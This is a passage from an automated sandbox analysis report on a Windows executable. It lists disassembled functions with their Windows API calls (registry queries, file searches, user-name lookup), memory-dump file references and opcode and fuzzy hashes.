    • Instruction Fuzzy Hash: FD318E31A00528EBCF04EF95EC448EEBBB8FF94310B41416BF901A7161DB38AD91CB99
    Function 00415D53 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 00414513: RegOpenKeyExW.ADVAPI32(00000004,0045DC34,00000000,00000001,?,?,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?), ref: 00414532
      • Part of subcall function 00414513: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,-0000076C,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?), ref: 00414549
      • Part of subcall function 00414513: RegCloseKey.ADVAPI32(?,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?,-0000076C,?,0045DC34,00000004,?), ref: 0041455A
    • mouse_event.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00415DC9
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseOpenQueryValuemouse_event
    • String ID: 1$Control Panel\Mouse$SwapMouseButtons
    • API String ID: 3120867179-1333076132
    • Opcode ID: 4397a220816a50afef8ed950c651321602ee1f04abf46bd2a497226114d5da3a
    • Instruction ID: 64686344fb700abdcb6185f0ad728c85fdaca3d4a8d255f7137e8337f52e2b96
    • Opcode Fuzzy Hash: 4397a220816a50afef8ed950c651321602ee1f04abf46bd2a497226114d5da3a
    • Instruction Fuzzy Hash: 3A012BB6B50700FEE3101670ACCAFFB215CE780359F24853BBB12D10C2E1E84EC58129
    Function 00441961 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 77COMMON
    Download Yara Rule
    APIs
    • __time32.LIBCMT ref: 00441976
      • Part of subcall function 0044B9D2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,00442B13,00000000,00000001,?,?,00000000,?,?,00442BE4,00442E41,00000001,?), ref: 0044B9DB
      • Part of subcall function 0044B9D2: __aulldiv.LIBCMT ref: 0044B9FB
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Time$FileSystem__aulldiv__time32
    • String ID: 0zG$XzG
    • API String ID: 946151114-99799804
    • Opcode ID: 0a5a7a05a70f3a69a59080a7637f812f2389dac8b37ab6b771aeb470bcc81c72
    • Instruction ID: 783faa91bd414bdfaf2ef5467989aa4ddd3d2fe93f43507dbe2697d40eb1a71c
    • Opcode Fuzzy Hash: 0a5a7a05a70f3a69a59080a7637f812f2389dac8b37ab6b771aeb470bcc81c72
    • Instruction Fuzzy Hash: 6321B3732147058FE728CF65D8D069BB3E2FBC8310F218A7DD29543340C7B5A9458B98
    Function 00425838 Relevance: 4.6, APIs: 3, Instructions: 117fileCOMMON
    Download Yara Rule
    APIs
    • FindFirstFileW.KERNEL32(00000000,?), ref: 00425866
    • FindNextFileW.KERNEL32(00000000,?), ref: 004258B2
    • FindClose.KERNEL32(00000000,000000FF,00000000), ref: 004258D2
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Find$File$CloseFirstNext
    • String ID:
    • API String ID: 3541575487-0
    • Opcode ID: b4086b0004da9266bd89cc4c01b358ffc22e49f7f88f5f165af3cf6b422538bf
    • Instruction ID: 387268721af71cf1c6543a3d80bd9fbe587f0a90bbb93b6ddb93adfe5e295de9
    • Opcode Fuzzy Hash: b4086b0004da9266bd89cc4c01b358ffc22e49f7f88f5f165af3cf6b422538bf
    • Instruction Fuzzy Hash: 2931B271700624AFDB14FF69EC44AAE73A8AF95324F5100ABF405DB2A1DB78DD848B58
    Function 00414E16 Relevance: 4.5, APIs: 3, Instructions: 21fileCOMMON
    Download Yara Rule
    APIs
    • GetFileAttributesW.KERNEL32(004102DA), ref: 00414E22
    • FindFirstFileW.KERNEL32(004102DA,?), ref: 00414E37
    • FindClose.KERNEL32(00000000), ref: 00414E47
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: FileFind$AttributesCloseFirst
    • String ID:
    • API String ID: 48322524-0
    • Opcode ID: 09d9633bee1d13ec756f5857c6e115d2227fef6d1876f1372ecb636deebfb824
    • Instruction ID: d6754715d604e333232b506108b618bc4b0216c56dbbe0cb7bf54d6593a8388b
    • Opcode Fuzzy Hash: 09d9633bee1d13ec756f5857c6e115d2227fef6d1876f1372ecb636deebfb824
    • Instruction Fuzzy Hash: C6E04F30500A19DBDF105F34EC8C5D93BA9BB44326F004360F529D11E0D734DD805A48
    Function 00444317 Relevance: 3.8, Strings: 1, Instructions: 2537COMMON
    Download Yara Rule
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID:
    • String ID: DEFINE
    • API String ID: 0-476076250
    • Opcode ID: 4cd9f22dd4d8e7a1e77560c9528b965c59038797c3e1a5821d6ad4ad87d6940d
    • Instruction ID: 7aecf970a3a8e93d399c44997cf67bf7929d5b2573a6a00c81d727fb5452ea2e
    • Opcode Fuzzy Hash: 4cd9f22dd4d8e7a1e77560c9528b965c59038797c3e1a5821d6ad4ad87d6940d
    • Instruction Fuzzy Hash: 9623C270904689CFEF29CF28C8847AA7BE1BF56314F18425BEC9587382D379D845CB99
    Function 00442AF9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 82COMMON
    Download Yara Rule
    APIs
    • __time32.LIBCMT ref: 00442B0E
      • Part of subcall function 0044B9D2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,00442B13,00000000,00000001,?,?,00000000,?,?,00442BE4,00442E41,00000001,?), ref: 0044B9DB
      • Part of subcall function 0044B9D2: __aulldiv.LIBCMT ref: 0044B9FB
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Time$FileSystem__aulldiv__time32
    • String ID: +D
    • API String ID: 946151114-3824217212
    • Opcode ID: eb6d8e38119604e5ecbc05b95a4c0e3d0631e116cc63d23bbe6006d2fa1c343e
    • Instruction ID: 3f4e2e8da5fcfa9112af9d4ed207b4293ac1f413c7f7c23dbf4774f4b5517054
    • Opcode Fuzzy Hash: eb6d8e38119604e5ecbc05b95a4c0e3d0631e116cc63d23bbe6006d2fa1c343e
    • Instruction Fuzzy Hash: 132160B27057058FF728CE26D8C169AB3E2FBC8310F10CA7DE59547349DBB5A9098B94
    Function 00421E0D Relevance: 3.3, APIs: 2, Instructions: 273COMMON
    Download Yara Rule
    APIs
    • WritePrivateProfileSectionW.KERNEL32(00000000,00000004,?), ref: 004220D9
    • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 004220EF
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: PrivateProfileWrite$SectionString
    • String ID:
    • API String ID: 1636597714-0
    • Opcode ID: 2fe0590e1bec297b2b53efcd2bcb54b23a2b77e32fabf4889c7636eb03f93f4c
    • Instruction ID: 41e22bb6b735dafa583f05a5a75da0cc7ce4db423ea27564a8c965bf69171114
    • Opcode Fuzzy Hash: 2fe0590e1bec297b2b53efcd2bcb54b23a2b77e32fabf4889c7636eb03f93f4c
    • Instruction Fuzzy Hash: B891A331A00224DBDF14EF65D8815AEB3B0EF14354B5640ABED469B262E77CDD82CB89
    Function 0042320D Relevance: 3.0, APIs: 2, Instructions: 46fileCOMMON
    Download Yara Rule
    APIs
    • FindFirstFileW.KERNEL32(00000000,?), ref: 0042323A
    • FindClose.KERNEL32(00000000), ref: 0042325E
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Find$CloseFileFirst
    • String ID:
    • API String ID: 2295610775-0
    • Opcode ID: 7770723f4f9b996c252b264d8fe0422cad5cd13d76bb5b2bdba4b77e072fc959
    • Instruction ID: c4933798ba476dde919d29639dc325125ccc6a047a15631857b1ceac9a992607
    • Opcode Fuzzy Hash: 7770723f4f9b996c252b264d8fe0422cad5cd13d76bb5b2bdba4b77e072fc959
    • Instruction Fuzzy Hash: BA01AC35600124EFDB04EFB4EC49A9A7368EF04315F45459BF515E7151DB7CED408BA8
    Function 0041FE6D Relevance: 3.0, APIs: 2, Instructions: 15windowCOMMON
    Download Yara Rule
    APIs
    • GetLastError.KERNEL32(00000000,0047C7A0,00000FFF,00000000,00430AD3), ref: 0041FE82
    • FormatMessageW.KERNEL32(00001000,00000000,0047C7A0,00000000,0047C7A0,00000FFF,00000000,00430AD3), ref: 0041FE96
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorFormatLastMessage
    • String ID:
    • API String ID: 3479602957-0
    • Opcode ID: dd82efffa5ef5c9c6af22be833fc05ef6f0753360673561712eceafa60732e9f
    • Instruction ID: c2c8ca3dea8f0c5a38abd3087de055dd5e24164f276729080913858088cce966
    • Opcode Fuzzy Hash: dd82efffa5ef5c9c6af22be833fc05ef6f0753360673561712eceafa60732e9f
    • Instruction Fuzzy Hash: 0FD0A7342C8303FFF33017648D0AF5A35105F48F23F508635B356A81E58BA44C45DA2E
    Function 00448776 Relevance: 1.9, Strings: 1, Instructions: 611COMMON
    Download Yara Rule
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID:
    • String ID: ERCP
    • API String ID: 0-1384759551
    • Opcode ID: 479f377b880dda84ea853ff97b5a5ff1585bee0e9e78e8026ae9ae4123f2b462
    • Instruction ID: 654fd696aad107bd195fdfe68b57e88e12f3403e69378b9dca93805a73d838bf
    • Opcode Fuzzy Hash: 479f377b880dda84ea853ff97b5a5ff1585bee0e9e78e8026ae9ae4123f2b462
    • Instruction Fuzzy Hash: EF329DB19016599FEF24CF68C8806AD7BB1BF45304F28422FE865E7391DB78D881CB59
    Function 00450F74 Relevance: 1.7, APIs: 1, Instructions: 246COMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • RaiseException.KERNEL32(?,00000000,00000001,?,00000000,0000FFFF,00000000,?,004515D4,?,?,00000008,0044BBEC,?,?), ref: 00451169
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ExceptionRaise
    • String ID:
    • API String ID: 3997070919-0
    • Opcode ID: f29f5f1e06620f11fdf18836ee7d66135a7f06a95b8ce2653fe6971efe1d0d26
    • Instruction ID: 2d1a639c7c72d4963f71cf90ae7f89567825e216aa2bbda0b33cc7afab0cf17d
    • Opcode Fuzzy Hash: f29f5f1e06620f11fdf18836ee7d66135a7f06a95b8ce2653fe6971efe1d0d26
    • Instruction Fuzzy Hash: 05A18B311106449FD71CCF18C496B657BE0FF08352F19869EED9A8B2F2C738A985CB44
    Function 004558FF Relevance: 1.5, APIs: 1, Instructions: 26COMMON
    Download Yara Rule
    APIs
    • GetLocaleInfoA.KERNEL32(?,00001004,?,00000006), ref: 00455921
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: InfoLocale
    • String ID:
    • API String ID: 2299586839-0
    • Opcode ID: 68f1808b20100e82de70a732d53f896afdefe70c9edcaf70261d79a69c1b16a8
    • Instruction ID: 9693ef09c43c1888ae501eb5287d094d7ef636fd7f1e62dc01fc27b31f94f117
    • Opcode Fuzzy Hash: 68f1808b20100e82de70a732d53f896afdefe70c9edcaf70261d79a69c1b16a8
    • Instruction Fuzzy Hash: BEE09B71F04208FBDB00DBB4D845B9E77B89F08329F11016EF915D61D1D678D608465A
    Function 0043738E Relevance: 1.5, APIs: 1, Instructions: 7COMMON
    Download Yara Rule
    APIs
    • GetUserNameW.ADVAPI32(?,?), ref: 004373A0
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: NameUser
    • String ID:
    • API String ID: 2645101109-0
    • Opcode ID: d99580a7dd0d604ec6faf33ad263533e198e63e0be265b2dd7bc6d0af1978b66
    • Instruction ID: d880028efed86599849788da2d52c74bb48a98584789060e47ac239b482ac81e
    • Opcode Fuzzy Hash: d99580a7dd0d604ec6faf33ad263533e198e63e0be265b2dd7bc6d0af1978b66
    • Instruction Fuzzy Hash: E3C04CB240810CEFCB50CF80CD88ADE77BCAB08301F1010D69245D2150D7745B44BB25
    Function 004422B6 Relevance: .6, Instructions: 646COMMON
    Download Yara Rule
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID:
    • String ID:
    • API String ID:
    • Opcode ID: d6b2241c1e3ffc818d66f920908f4ab8d64e9886c298b1664484395dfdf5ffcc
    • Instruction ID: cb452ce94aa6b4b57d62bf7a907f1812c9957e08c072f4a2a8389e9e0a8bac5f
    • Opcode Fuzzy Hash: d6b2241c1e3ffc818d66f920908f4ab8d64e9886c298b1664484395dfdf5ffcc
    • Instruction Fuzzy Hash: 75325936E0011EBBEF09CED5CC80DDDBBB3FB88304F558169E610B2661DAB56A16DB40
    Function 00456824 Relevance: .4, Instructions: 357COMMON
    Download Yara Rule
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID:
    • String ID:
    • API String ID:
    • Opcode ID: 0975f5892f5e549899d3a88fcccc993e114b020ddf47f2bca1d14cc41228216c
    • Instruction ID: df1dbaeda81ea60c5014dc966a1e03887f7eb943e26fb73baa63d050f7c57ae7
    • Opcode Fuzzy Hash: 0975f5892f5e549899d3a88fcccc993e114b020ddf47f2bca1d14cc41228216c
    • Instruction Fuzzy Hash: FDC1D270D551599EEF289F94C4453BEBBB5EB05307FAA401BEC42A7283C67C4D8AC70A
    Function 0043E46A Relevance: .3, Instructions: 342COMMON
    Download Yara Rule
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
